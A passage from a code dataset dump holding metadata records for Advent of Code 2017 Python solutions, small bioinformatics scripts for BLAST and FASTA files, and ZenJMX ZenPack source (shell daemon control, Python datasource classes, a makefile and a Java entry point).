True\n\t\t\t\tbreak\n\tif end:\n\t\tbreak\n\tlog.append(['-'.join(str(x) for x in banks), steps])\n\nprint(\"Total steps: %d\" % (steps))\n" }, { "alpha_fraction": 0.5513308048248291, "alphanum_fraction": 0.5760456323623657, "avg_line_length": 20.040000915527344, "blob_id": "d7c90a413da7b2472c496f22778efaa5b145965d", "content_id": "f2c55b509042659b5addc00273133b9ba711a22d", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 526, "license_type": "permissive", "max_line_length": 55, "num_lines": 25, "path": "/day4/4-2.py", "repo_name": "giuseppeluzzi/advent-of-code-2017", "src_encoding": "UTF-8", "text": "#\n# \t\t \t\tAdvent of Code 2017\n# \t\t\t\t\tDay: 04 - Puzzle: 1\n# \t\t\t\t\t Giuseppe Luzzi\n# \thttps://github.com/GiuseppeLuzzi/advent-of-code-2017\n#\n\n\nwith open('input.txt', 'r') as input_file:\n\trows = input_file.readlines()\n\ncounter = 0;\nfor row in rows:\n\trow = row.rstrip('\\n')\n\tif len(set(row.split(' '))) == len(row.split(' ')):\n\n\t\twords = []\n\t\tfor word in row.split(' '):\n\t\t\tword = list(word)\n\t\t\tword.sort()\n\t\t\twords.append(''.join(word))\n\t\tif (len(set(words)) == len(words)):\n\t\t\tcounter += 1\n\nprint(\"Valid passphares: %d\" % (counter))\n" }, { "alpha_fraction": 0.584942102432251, "alphanum_fraction": 0.6119691133499146, "avg_line_length": 20.58333396911621, "blob_id": "d71ae79d82621e4fdef949a903ef5a2844bf7ec2", "content_id": "d421e9d3c7aff5c73efdd26e943ac09aa528979a", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 518, "license_type": "permissive", "max_line_length": 55, "num_lines": 24, "path": "/day2/2-1.py", "repo_name": "giuseppeluzzi/advent-of-code-2017", "src_encoding": "UTF-8", "text": "#\n# \t\t \t\tAdvent of Code 2017\n# \t\t\t\t\tDay: 02 - Puzzle: 1\n# \t\t\t\t\t Giuseppe Luzzi\n# \thttps://github.com/GiuseppeLuzzi/advent-of-code-2017\n#\n\nchecksum = 0\n\nwith open('input.txt', 'r') as input_file:\n\trows = input_file.readlines()\n\nfor row in rows:\n\trow = row.split('\\t')\n\trow_min = int(row[0])\n\trow_max = int(row[0])\n\tfor element in row:\n\t\tif int(element) < row_min:\n\t\t\trow_min = int(element)\n\t\tif int(element) > row_max:\n\t\t\trow_max = int(element)\n\tchecksum = checksum + (row_max-row_min)\n\nprint(\"Checksum: %d\" % (checksum))\n" }, { "alpha_fraction": 0.5579150319099426, "alphanum_fraction": 0.5926640629768372, "avg_line_length": 19.719999313354492, "blob_id": "3aa9fb9bca93abd2bee545db8ed2f89b31b8dc98", "content_id": "596163f01d716c3bfb8bf41d838161a900826f73", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 518, "license_type": "permissive", "max_line_length": 55, "num_lines": 25, "path": "/day5/5-2.py", "repo_name": "giuseppeluzzi/advent-of-code-2017", "src_encoding": "UTF-8", "text": "#\n# \t\t \t\tAdvent of Code 2017\n# \t\t\t\t\tDay: 05 - Puzzle: 2\n# \t\t\t\t\t Giuseppe Luzzi\n# \thttps://github.com/GiuseppeLuzzi/advent-of-code-2017\n#\n\n\nwith open('input.txt', 'r') as input_file:\n\trows = input_file.read()\n\nrows = rows.split('\\n')\nindex = 0\nsteps = 0\n\nwhile (index >= 0) and (index < len(rows)):\n\told_index = index\n\tindex = index + int(rows[index])\n\tif int(rows[old_index]) >= 3:\n\t\trows[old_index] = int(rows[old_index]) - 1\n\telse:\n\t\trows[old_index] = int(rows[old_index]) + 1\n\tsteps += 1\n\nprint(\"Steps: %d\" % (steps))\n" }, { "alpha_fraction": 0.5286259651184082, "alphanum_fraction": 0.5706107020378113, "avg_line_length": 13.971428871154785, "blob_id": "ee2788d16862d9616716e77d27fa76f63999fe0b", "content_id": "1674c96696a99195de668178fa9fa66b1ee9f33c", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1048, "license_type": "permissive", "max_line_length": 57, "num_lines": 70, "path": "/day3/3-1.py", "repo_name": "giuseppeluzzi/advent-of-code-2017", "src_encoding": "UTF-8", "text": "#\n# \t\t \t\tAdvent of Code 2017\n# \t\t\t\t\tDay: 04 - Puzzle: 1\n# \t\t\t\t\t Giuseppe Luzzi\n# \thttps://github.com/GiuseppeLuzzi/advent-of-code-2017\n#\n\nimport numpy\n\nto = 368078\n\ndef nextDirection(val):\n\tval += 1\n\tif val > 4:\n\t\tval = 1\n\treturn val\n\nmatrix_size = int(numpy.ceil(numpy.sqrt(to)))\nif (matrix_size % 2 == 0):\n\tmatrix_size += 1\n\nhalf = int(matrix_size/2)\n\ngrid = []\nfor _ in range(0, matrix_size):\n\tgrid.append([0] * matrix_size)\n\nx = half\ny = half\nlast_x = half\nlast_y = half\nc = 1\n\ns = 1\nmax_step = 1\ndirection = 1\nfirst = True\nfor item in range(0, to):\n\tgrid[y][x] = c\n\tlast_y = y\n\tlast_x = x\n\tc += 1\n\tif s > 0:\n\t\ts -= 1\n\telse:\n\t\tdirection = nextDirection(direction)\n\t\tif first == True:\n\t\t\ts = max_step - 1\n\t\t\tfirst = False\n\t\telse:\n\t\t\ts = max_step\n\t\t\tmax_step += 1\n\t\t\tfirst = True\n\n\tif direction == 1:\n\t\t# Right\n\t\tx += 1\n\telif direction == 2:\n\t\t# Up\n\t\ty -= 1\n\telif direction == 3:\n\t\t# Left\n\t\tx -= 1\n\telif direction == 4:\n\t\t# Down\n\t\ty += 1\n\n\ndistance = abs(last_x - half) + abs(last_y - half)\nprint(\"(%d;%d) Distance: %d\" % (last_x,last_y, distance))\n" } ]
12
cschu/2BL-Surgery
https://github.com/cschu/2BL-Surgery
98e8ccfcffba12c43b35699c89f8ecc12c2c49c4
419152c2498a9010a3871f4ff5887c1b6562cfde
9ff72b36bdddc9b3dccf6b7f38b9caa2d0bbdc20
refs/heads/master
2019-01-19T12:10:35.908412
2015-07-17T16:51:19
2015-07-17T16:51:19
29,969,474
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.7175792455673218, "alphanum_fraction": 0.7420749068260193, "avg_line_length": 31.515625, "blob_id": "1efec3fe2760f029ed0fb4428ed224f1e750da79", "content_id": "722f6e5652abd0ad14a3040e5fa83b8946e06b27", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2082, "license_type": "no_license", "max_line_length": 76, "num_lines": 64, "path": "/extract_sequence.py", "repo_name": "cschu/2BL-Surgery", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python\n\n# 2BL: Bioinformatics surgery session 4\n# Mar 11, 2015\n\n\"\"\"\nThe aim of this script is to take as input a FASTA file and a pair of\nsequence coordinates and to write the FASTA-formatted region between\nthose specified coordinates to the command line.\n\nSome notes:\n\nGeneral format of a (single sequence FASTA file\n1 header line\nfollowed by 1 or more sequence lines\n\n>id\nACACGTACACCAGTACGGACT\nACACCACGTACCCGTACCGTA\nGACCCAGTAGGACTTACCTAT\n\nWhen the whole file is read into a Python-string, \nit will have the following format:\n\n>id\\nACCCCAGTAGCCATTGACCC\\n\n\nThe different characters that mark the end of a line:\n\\n Linux, MacOSX\n\\r MacOS\n\\r\\n Windows\n\"\"\"\n\n\n# open a FASTA file and assign it to the handle/variable \"file_\"\nfilename = 'top_secret_filename.fa'\nfile_ = open(filename)\n\n# We read the file and split the resulting string by the line-end\n# symbol '\\n', thus creating a list [id, seq, ...]\ndata = file_.read().split('\\n')\n# We take the first two elements of that list\nid_, seq = data[:2]\n\n# These are the coordinates of our marker sequences.\n# (Remember: marker coordinates are 1-based!)\nstart1, end1 = 125653, 125657\nstart2, end2 = 100230, 100234 \n\n# We extract the sequence between the markers.\n# For start2 we have to take into account that Python starts counting at 0.\n# For end1 we don't, since seq[x:y] will only include characters x..(y-1).\nrd_interval = seq[start2 - 1:end1]\n\n# We can print the extracted sequence, together with its length for testing.\n# print rd_interval, len(rd_interval)\n\n# Finally, we print the extracted sequence in FASTA format to the\n# command line '>rd_interval_%i-%i\\n%s\\n' is a formatted string,\n# expecting data to be inserted at the %i and %s markers. %i stands\n# for any integer value, %s for any string We bind the data that makes\n# up our desired output (the boundaries of the interval and the actual\n# extracted sequence) to the formatted string using the % - operator.\n# The data have to be supplied in a tuple (start2, end1, rd_interval).\nsys.stdout.write('>rd_interval_%i-%i\\n%s\\n' % (start2, end1, rd_interval))\n\n" }, { "alpha_fraction": 0.4516128897666931, "alphanum_fraction": 0.4573054909706116, "avg_line_length": 24.095237731933594, "blob_id": "a922869beca601c0ecbca032723133bb61bd787d", "content_id": "3df1b0217614856dbadc54c7e6466cedce7ef94f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 527, "license_type": "no_license", "max_line_length": 55, "num_lines": 21, "path": "/unformatFasta.py", "repo_name": "cschu/2BL-Surgery", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python\nimport sys\n\ndef readFasta(fn):\n head, seq = None, ''\n with open(fn) as fi:\n for line in fi:\n if line[0] == '>':\n if head is not None:\n yield (head, seq)\n head, seq = line.strip().strip('>'), ''\n else:\n seq += line.strip()\n yield (head, seq)\n\ndef main(argv):\n for head, seq in readFasta(argv[0]):\n sys.stdout.write('>%s\\n%s\\n' % (head, seq))\n\n\nif __name__ == '__main__': main(sys.argv[1:])\n" }, { "alpha_fraction": 0.608598530292511, "alphanum_fraction": 0.6203238368034363, "avg_line_length": 37.739131927490234, "blob_id": "c5b6ab441fb4dd1069611f3eaf2986c0d887b84e", "content_id": "3c11cc45c169bff583a32bfb2c5f687e8ffc7596", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1791, "license_type": "no_license", "max_line_length": 76, "num_lines": 46, "path": "/blastParse_session01.py", "repo_name": "cschu/2BL-Surgery", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python\n\n# 2BL: Bioinformatics surgery session 1\n# Jan 28, 2015\n\n# open a BLAST output file and assign it to the handle/variable \"file_\"\n# remember: \"file\" is reserved and should not be used as a variable name\nfile_ = open('Go5_mock_C_vseffector_tab.txt')\n\n# step through the file, line by line, or \"for each line in file, do ...\"\nfor line in file_: \n # split the line into columns (line.split() assumes columns \n # are separated by tab (\\t) or space\n # the .strip() removes the newline character from the end of the line *)\n columns = line.strip().split()\n # get the evalue from the line \n # located in column 11, but Python starts counting from 0\n evalue = float(columns[10])\n # if the evalue is below a threshold, in this case 0.5\n if evalue < 0.5:\n # then print the line\n # *) if we did not .strip() the line as above\n # the \"print line\" would add an extra line-break (\\n)\n # after each line\n print line\n \n # for Yogesh, to extract FASTA sequences from a tab-separated file\n # replace \"print line\" with the following three lines\n # id_ = columns[0]\n # sequence = columns[whereever the sequence is located]\n # print '>%s\\n%s\\n' % (id_, sequence)\n #\n # this prints a so-called \"formatted string\", which\n # can be constructed from the data you are processing\n # %s means: any string, and \\n is the line-break\n # so '>%s\\n%s\\n' translates to: \n # >STRING1\n # STRING2\n # which looks just like a FASTA record.\n # % (id_, sequence) then provides the two strings\n # so that the result will be\n # >ID\n # SEQUENCE\n\n\n# remember the script is executed \"python blastParse.py > output.txt\"\n \n" } ]
3
Djudjou/Time
https://github.com/Djudjou/Time
cd538e7c82ce1ae3177ad38cfaeeee0b1cd02b6e
9468356ac0c2dceb0865b24cfc656cc67a6faaa7
e98ba833aa14b526be097c54c5339fc8a89ab72e
refs/heads/master
2021-01-18T14:11:09.803324
2015-01-07T18:14:13
2015-01-07T18:14:13
27,384,285
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.7037037014961243, "alphanum_fraction": 0.7037037014961243, "avg_line_length": 12.5, "blob_id": "b9a9e4ffa4b6f716d9615b672381e65f3689e06e", "content_id": "73f9b8841683c337482ba48fbe56646a55888b3a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 54, "license_type": "no_license", "max_line_length": 42, "num_lines": 4, "path": "/README.md", "repo_name": "Djudjou/Time", "src_encoding": "UTF-8", "text": "Time\n====\n\nAssetto Corsa app ingame. Affiche l'heure.\n" }, { "alpha_fraction": 0.5781710743904114, "alphanum_fraction": 0.6214355826377869, "avg_line_length": 25.657894134521484, "blob_id": "d6f9b5002e283bcdec255170e4d2ea440f170c17", "content_id": "69b6469909943dc28f75a81c86069d04ce791595", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1017, "license_type": "no_license", "max_line_length": 74, "num_lines": 38, "path": "/apps/python/Time/Time.py", "repo_name": "Djudjou/Time", "src_encoding": "UTF-8", "text": "##############################################################\n# Kunos Simulazioni\n# AC Python tutorial 04 : Get data from AC\n#\n# To activate create a folder with the same name as this file\n# in apps/python. Ex apps/python/tutorial01\n# Then copy this file inside it and launch AC\n#\n# Source : http://www.racingfr.com/forum/index.php?showtopic=42199&st=2385\n# Created : 21/11/2014\n# Edit : Djudjou ACFR\n# Version : 0.1\n#############################################################\n\nimport ac\nimport acsys\nimport time\n\nlabel1=0\n\n# This function gets called by AC when the Plugin is initialised\n# The function has to return a string with the plugin name\ndef acMain(ac_version):\n global label1\n\n appWindow=ac.newApp(\"Time\")\n ac.setTitle(appWindow,'')\n ac.setSize(appWindow,180,30)\n ac.setPosition(appWindow,1500,50)\n label1=ac.addLabel(appWindow,\"\")\n ac.setPosition(label1,60,5)\n\n return \"Time\"\n\t\ndef acUpdate(deltaT):\n global label1\n\n ac.setText(label1,time.strftime('%H:%M:%S',time.localtime()))\n " } ]
2
alienth/Zenpacks.zenoss.ZenJMX
https://github.com/alienth/Zenpacks.zenoss.ZenJMX
aab07bbf96b4695c1a03603ad15c2a0799557ecf
e13eeee604d6dd8e04100f7e2d538d659b786861
a336413eb59dd35c169d1cd4ac4dec658de1e28f
refs/heads/master
2016-09-11T02:57:09.445231
2012-02-01T00:16:15
2012-02-01T00:16:15
3,404,707
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.5033055543899536, "alphanum_fraction": 0.5142282247543335, "avg_line_length": 20.731250762939453, "blob_id": "5455a487f543d8ff45e633452375d8ceafe10fc4", "content_id": "db649023a3a45c67fa94046deea8aabe28ab6666", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 3479, "license_type": "no_license", "max_line_length": 80, "num_lines": 160, "path": "/ZenPacks/zenoss/ZenJMX/bin/java-functions.sh", "repo_name": "alienth/Zenpacks.zenoss.ZenJMX", "src_encoding": "UTF-8", "text": "###########################################################################\n#\n# This program is part of Zenoss Core, an open source monitoring platform.\n# Copyright (C) 2007, Zenoss Inc.\n#\n# This program is free software; you can redistribute it and/or modify it\n# under the terms of the GNU General Public License version 2 or (at your\n# option) any later version as published by the Free Software Foundation.\n#\n# For complete information please visit: http://www.zenoss.com/oss/\n#\n###########################################################################\n\nreplace() {\n SEARCH=$1\n REPLACE=$2\n FILE=$3\n TEMP=/tmp/`basename $FILE`\n\n sed -e \"s%${SEARCH}%${REPLACE}%g\" < ${FILE} > ${TEMP}\n mv ${TEMP} ${FILE}\n}\n\nrunning() {\n if [ -f $PIDFILE ]; then\n PID=`cat $PIDFILE`\n\t kill -0 $PID 2>/dev/null || $PS | grep -q \"^ *$PID$\"\n\t return $?\n fi\n\n return 1\n}\n\nrestart() {\n stop\n for i in 1 2 3 4 5 6 7 8 9 10\n do\n sleep 0.24 2>/dev/null || sleep 1\n test -f $PIDFILE || break\n done\n start \"$@\"\n}\n\njmx_args() {\n JMX_ARGS=\"\"\n if [ ! -z \"${JMX_LISTEN_PORT}\" ]; then\n JMX_ARGS=\"-Dcom.sun.management.jmxremote.port=${JMX_LISTEN_PORT}\"\n JMX_ARGS=\"${JMX_ARGS} -Dcom.sun.management.jmxremote.authenticate=false\"\n JMX_ARGS=\"${JMX_ARGS} -Dcom.sun.management.jmxremote.ssl=false\"\n fi\n echo $JMX_ARGS\n}\n\nrun() {\n exec java \\\n ${JVM_ARGS} \\\n -jar ${ZENJMX_JAR} \\\n ${RUN_ARGS}\n}\n\nrunjmxenabled() {\n JVM_ARGS=\"${JVM_ARGS} `jmx_args`\"\n exec java \\\n ${JVM_ARGS} \\\n -jar ${ZENJMX_JAR} \\\n ${RUN_ARGS}\n}\n\nstart() {\n if running; then \n echo is already running\n else\n echo starting...\n JVM_ARGS=\"${JVM_ARGS} `jmx_args`\"\n eval exec java \\\n ${JVM_ARGS} \\\n -jar ${ZENJMX_JAR} \\\n ${START_ARGS} > /dev/null 2>&1 &\n PID=$!\n echo $PID > $PIDFILE\n fi\n}\n\nstop() {\n if running; then\n PID=`cat $PIDFILE`\n echo stopping...\n kill $PID\n if [ $? -gt 0 ]; then\n rm -f $PIDFILE\n echo clearing pid file\n fi\n else\n echo already stopped\n fi\n}\n\nstatus() {\n if running; then\n echo program running\\; pid=$PID\n exit 109\n else\n rm -f $PIDFILE\n echo not running\n exit 100\n fi\n}\n\ngeneric() {\n case \"$CMD\" in\n run)\n\t run \"$@\"\n\t ;;\n runjmxenabled)\n\t runjmxenabled \"$@\"\n\t ;;\n start)\n\t start \"$@\"\n\t ;;\n stop)\n\t stop\n\t ;;\n restart)\n\t restart \"$@\"\n\t ;;\n status)\n\t status\n\t ;;\n help)\n\t help\n\t ;;\n *)\n\t cat - <<HELP\nUsage: $0 {run|start|stop|restart|status|help} [options]\n\n where the commands are:\n\n run - start the program but don't put it in the background.\n NB: This mode is good for debugging.\n\n start - start the program in daemon mode -- running in the background,\n detached from the shell\n\n stop - stop the program\n\n restart - stop and then start the program\n NB: Sometimes the start command will run before the daemon\n has terminated. If this happens just re-run the command.\n\n status - Check the status of a daemon. This will print the current\n process nuber if it is running.\n\n help - display the options available for the daemon\n\n\nHELP\n\t exit 1\n esac\n exit $?\n}\n\n\n" }, { "alpha_fraction": 0.6944873929023743, "alphanum_fraction": 0.6970633864402771, "avg_line_length": 38.46938705444336, "blob_id": "f590e9bb06a67a449fc57abc9724316990415da5", "content_id": "6e991f8b546b94a3c19428834a73196235654c6d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1941, "license_type": "no_license", "max_line_length": 75, "num_lines": 49, "path": "/ZenPacks/zenoss/ZenJMX/info.py", "repo_name": "alienth/Zenpacks.zenoss.ZenJMX", "src_encoding": "UTF-8", "text": "###########################################################################\n#\n# This program is part of Zenoss Core, an open source monitoring platform.\n# Copyright (C) 2010, Zenoss Inc.\n#\n# This program is free software; you can redistribute it and/or modify it\n# under the terms of the GNU General Public License version 2 or (at your\n# option) any later version as published by the Free Software Foundation.\n#\n# For complete information please visit: http://www.zenoss.com/oss/\n#\n###########################################################################\nfrom zope.interface import implements\nfrom zope.schema.vocabulary import SimpleVocabulary\nfrom Products.Zuul.infos import ProxyProperty\nfrom Products.Zuul.infos.template import RRDDataSourceInfo\nfrom ZenPacks.zenoss.ZenJMX.interfaces import IJMXDataSourceInfo\nfrom ZenPacks.zenoss.ZenJMX.datasources.JMXDataSource import JMXDataSource\n\ndef jmxProtocolVocabulary(context):\n return SimpleVocabulary.fromValues(JMXDataSource.protocolTypes)\n\nclass JMXDataSourceInfo(RRDDataSourceInfo):\n implements(IJMXDataSourceInfo)\n \n # JMX RMI\n jmxPort = ProxyProperty('jmxPort')\n jmxProtocol = ProxyProperty('jmxProtocol')\n jmxRawService = ProxyProperty('jmxRawService')\n rmiContext = ProxyProperty('rmiContext')\n objectName = ProxyProperty('objectName')\n \n # Authentication\n authenticate = ProxyProperty('authenticate')\n username = ProxyProperty('username')\n password = ProxyProperty('password')\n attributeName = ProxyProperty('attributeName')\n attributePath = ProxyProperty('attributePath')\n # Operation\n operationName = ProxyProperty('operationName')\n operationParamValues = ProxyProperty('operationParamValues')\n operationParamTypes = ProxyProperty('operationParamTypes')\n \n @property\n def testable(self):\n \"\"\"\n We can NOT test this datsource against a specific device\n \"\"\"\n return False\n \n\n\n" }, { "alpha_fraction": 0.6219255328178406, "alphanum_fraction": 0.6289529204368591, "avg_line_length": 34.54999923706055, "blob_id": "36b7dc0b7c32b01eae72f962cf2e0684f2f736e5", "content_id": "fc757013c19678effffe1019baa65a38c9b2eb6d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1423, "license_type": "no_license", "max_line_length": 75, "num_lines": 40, "path": "/ZenPacks/zenoss/ZenJMX/__init__.py", "repo_name": "alienth/Zenpacks.zenoss.ZenJMX", "src_encoding": "UTF-8", "text": "###########################################################################\n#\n# This program is part of Zenoss Core, an open source monitoring platform.\n# Copyright (C) 2007, Zenoss Inc.\n#\n# This program is free software; you can redistribute it and/or modify it\n# under the terms of the GNU General Public License version 2 or (at your\n# option) any later version as published by the Free Software Foundation.\n#\n# For complete information please visit: http://www.zenoss.com/oss/\n#\n###########################################################################\npack = 'ZenJMX'\n__doc__ = '%s ZenPack. Adds JMX support to Zenoss' % pack\n\nimport Globals\nimport os\nimport sys\nfrom os.path import join\nfrom Products.ZenModel.ZenPack import ZenPackBase\nfrom Products.CMFCore.DirectoryView import registerDirectory\n\nskinsDir = os.path.join(os.path.dirname(__file__), 'skins')\nif os.path.isdir(skinsDir):\n registerDirectory(skinsDir, globals())\n\nlibDir = os.path.join(os.path.dirname(__file__), 'lib')\nif os.path.isdir(libDir):\n sys.path.append(libDir)\n\nbinDir = os.path.join(os.path.dirname(__file__), 'bin')\n\nclass ZenPack(ZenPackBase):\n \"ZenPack Loader that loads zProperties used by ZenJMX\"\n packZProperties = [\n ('zJmxManagementPort', 12345, 'int'),\n ('zJmxAuthenticate', False, 'boolean'),\n ('zJmxUsername', 'admin', 'string'),\n ('zJmxPassword', 'admin', 'password'),\n ]\n\n" }, { "alpha_fraction": 0.570787787437439, "alphanum_fraction": 0.5727502107620239, "avg_line_length": 29.732759475708008, "blob_id": "eea50ddeaf4290a23722b345b57facc552754b70", "content_id": "b1b48e3cfe47ad902d298fd6f62c83b7bbe79899", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3567, "license_type": "no_license", "max_line_length": 75, "num_lines": 116, "path": "/ZenPacks/zenoss/ZenJMX/datasources/JMXDataSource.py", "repo_name": "alienth/Zenpacks.zenoss.ZenJMX", "src_encoding": "UTF-8", "text": "###########################################################################\n#\n# This program is part of Zenoss Core, an open source monitoring platform.\n# Copyright (C) 2007, Zenoss Inc.\n#\n# This program is free software; you can redistribute it and/or modify it\n# under the terms of the GNU General Public License version 2 or (at your\n# option) any later version as published by the Free Software Foundation.\n#\n# For complete information please visit: http://www.zenoss.com/oss/\n#\n###########################################################################\n\n__doc__='''MailTxDataSource.py\n\nDefines datasource for JMX collection. Using this data source you can\ndefine MBean objects and attributes as data sources and data points.\n\nPart of ZenJMX zenpack.\n'''\n\nfrom Products.ZenModel.RRDDataSource import RRDDataSource\nfrom AccessControl import ClassSecurityInfo, Permissions\nfrom Products.ZenModel.ZenPackPersistence import ZenPackPersistence\n\nBase = RRDDataSource\nclass JMXDataSource(ZenPackPersistence, Base):\n \n ZENPACKID = 'ZenPacks.zenoss.ZenJMX'\n \n URL = 'service:jmx:rmi:///jndi/rmi://%(manageIp)s:%(jmxPort)s/jmxrmi'\n\n JMX = 'JMX'\n\n sourcetypes = (JMX,)\n sourcetype = JMX\n\n timeout = 15\n eventClass = '/Status/JMX'\n component = JMX\n protocolTypes = ['RMI', 'JMXMP']\n hostname = '${dev/id}'\n expectedIpAddress = ''\n\n jmxPort = '${here/zJmxManagementPort}'\n jmxProtocol = 'RMI'\n jmxRawService = ''\n rmiContext = 'jmxrmi'\n objectName = ''\n username = '${here/zJmxUsername}'\n password = '${here/zJmxPassword}'\n authenticate = '${here/zJmxAuthenticate}'\n\n attributeName = ''\n attributePath = ''\n operationName = ''\n operationParamValues = ''\n operationParamTypes = ''\n\n\n _properties = Base._properties + (\n {'id':'jmxPort', 'type':'string', 'mode':'w'},\n {'id':'jmxProtocol', 'type':'string', 'mode':'w'},\n {'id':'jmxRawService', 'type':'string', 'mode':'w'},\n {'id':'rmiContext', 'type':'string', 'mode':'w'},\n {'id':'objectName', 'type':'string', 'mode':'w'},\n\n {'id':'authenticate', 'type':'string', 'mode':'w'},\n {'id':'username', 'type':'string', 'mode':'w'},\n {'id':'password', 'type':'string', 'mode':'w'},\n\n {'id':'attributeName', 'type':'string', 'mode':'w'},\n {'id':'attributePath', 'type':'string', 'mode':'w'},\n\n\n {'id':'operationName', 'type':'string', 'mode':'w'},\n {'id':'operationParamValues', 'type':'string', 'mode':'w'},\n {'id':'operationParamTypes', 'type':'string', 'mode':'w'},\n )\n\n _relations = Base._relations + (\n )\n\n factory_type_information = ( \n { \n 'immediate_view' : 'editJMXDataSource',\n 'actions' :\n ( \n { 'id' : 'edit',\n 'name' : 'Data Source',\n 'action' : 'editJMXDataSource',\n 'permissions' : ( Permissions.view, ),\n },\n )\n },\n )\n\n security = ClassSecurityInfo()\n\n def __init__(self, id, title=None, buildRelations=True):\n Base.__init__(self, id, title, buildRelations)\n\n def getDescription(self):\n if self.sourcetype == self.JMX:\n return self.hostname\n return RRDDataSource.getDescription(self)\n\n\n def getProtocols(self):\n \"\"\"return list of supported JMX protocols\"\"\"\n return JMXDataSource.protocolTypes\n\n\n def zmanage_editProperties(self, REQUEST=None):\n '''validation, etc'''\n return Base.zmanage_editProperties(self, REQUEST)\n\n\n" }, { "alpha_fraction": 0.5813186764717102, "alphanum_fraction": 0.5879120826721191, "avg_line_length": 25, "blob_id": "8763f950f5c6708f516ec94f5e0f1cf79e18fa74", "content_id": "005abef0cf8c79f71096cc1f6e6eddb7ca09745c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Makefile", "length_bytes": 910, "license_type": "no_license", "max_line_length": 77, "num_lines": 35, "path": "/ZenPacks/zenoss/ZenJMX/GNUmakefile", "repo_name": "alienth/Zenpacks.zenoss.ZenJMX", "src_encoding": "UTF-8", "text": "###########################################################################\n#\n# This program is part of Zenoss Core, an open source monitoring platform.\n# Copyright (C) 2007, Zenoss Inc.\n#\n# This program is free software; you can redistribute it and/or modify it\n# under the terms of the GNU General Public License version 2 as published by\n# the Free Software Foundation.\n#\n# For complete information please visit: http://www.zenoss.com/oss/\n#\n###########################################################################\n\nZENJMX_HOME=$(PWD)\nLIB_DIR=$(ZENJMX_HOME)/lib\nTARGET=$(ZENJMX_HOME)/target\n\ndefault: install\n\n\ninstall:\n\tmvn assembly:assembly\n\n\tmkdir -p ${LIB_DIR} ; \\\n\tcd ${LIB_DIR} ; \\\n\ttar xzf ${TARGET}/*-bin.tar.gz\n\n\tcp ${ZENJMX_HOME}/jmxremote_optional.jar ${LIB_DIR}\n\tcp ${ZENJMX_HOME}/src/main/resources/log4j.properties ${LIB_DIR}\n\trm -rf ${TARGET}\n\n\nclean:\n\trm -rf ${LIB_DIR}\n\trm -rf ${TARGET}\n" }, { "alpha_fraction": 0.5956804752349854, "alphanum_fraction": 0.5988566279411316, "avg_line_length": 33.40983581542969, "blob_id": "979fb9707313f809f1d339e1f979d01a6adeb540", "content_id": "6925540a94f00f78a5d15fa9b7ad357e62ac3322", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Java", "length_bytes": 6297, "license_type": "no_license", "max_line_length": 79, "num_lines": 183, "path": "/ZenPacks/zenoss/ZenJMX/src/main/java/com/zenoss/zenpacks/zenjmx/ZenJmxMain.java", "repo_name": "alienth/Zenpacks.zenoss.ZenJMX", "src_encoding": "UTF-8", "text": "///////////////////////////////////////////////////////////////////////////\n//\n//Copyright 2008 Zenoss Inc \n//Licensed under the Apache License, Version 2.0 (the \"License\"); \n//you may not use this file except in compliance with the License. \n//You may obtain a copy of the License at \n// http://www.apache.org/licenses/LICENSE-2.0 \n//Unless required by applicable law or agreed to in writing, software \n//distributed under the License is distributed on an \"AS IS\" BASIS, \n//WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. \n//See the License for the specific language governing permissions and \n//limitations under the License.\n//\n///////////////////////////////////////////////////////////////////////////\npackage com.zenoss.zenpacks.zenjmx;\n\nimport org.apache.commons.cli.CommandLine;\nimport org.apache.commons.cli.CommandLineParser;\nimport org.apache.commons.cli.Options;\nimport org.apache.commons.cli.ParseException;\nimport org.apache.commons.cli.PosixParser;\nimport org.apache.commons.logging.Log;\nimport org.apache.commons.logging.LogFactory;\nimport org.apache.log4j.Level;\nimport org.apache.log4j.Logger;\nimport org.apache.xmlrpc.webserver.XmlRpcServlet;\nimport org.eclipse.jetty.server.Connector;\nimport org.eclipse.jetty.server.Server;\nimport org.eclipse.jetty.server.bio.SocketConnector;\nimport org.eclipse.jetty.servlet.ServletHandler;\nimport org.eclipse.jetty.servlet.ServletHolder;\n\nimport java.io.FileInputStream;\nimport java.io.IOException;\nimport java.util.HashMap;\n\npublic class ZenJmxMain {\n\n private static String ERROR = \"40\";\n private static String WARNING = \"30\";\n private static String INFO = \"20\";\n private static String DEBUG = \"10\";\n\n // logger\n private static final Log _logger = LogFactory.getLog(ZenJmxMain.class);\n\n /**\n * @param args\n */\n public static void main(String[] args) throws Exception\n {\n\n HashMap<String, Level> loggingLevel = new HashMap<String, Level>();\n loggingLevel.put(ERROR, Level.ERROR);\n loggingLevel.put(WARNING, Level.WARN);\n loggingLevel.put(INFO, Level.INFO);\n loggingLevel.put(DEBUG, Level.DEBUG);\n\n Configuration config = Configuration.instance();\n parseArguments(config, args);\n\n if ( config.propertyExists(OptionsFactory.LOG_SEVERITY) )\n {\n String levelOpt = config.getProperty(OptionsFactory.LOG_SEVERITY);\n Level level = loggingLevel.get(levelOpt);\n if ( level != null )\n {\n _logger.info(\"setting root logger to \" + level);\n 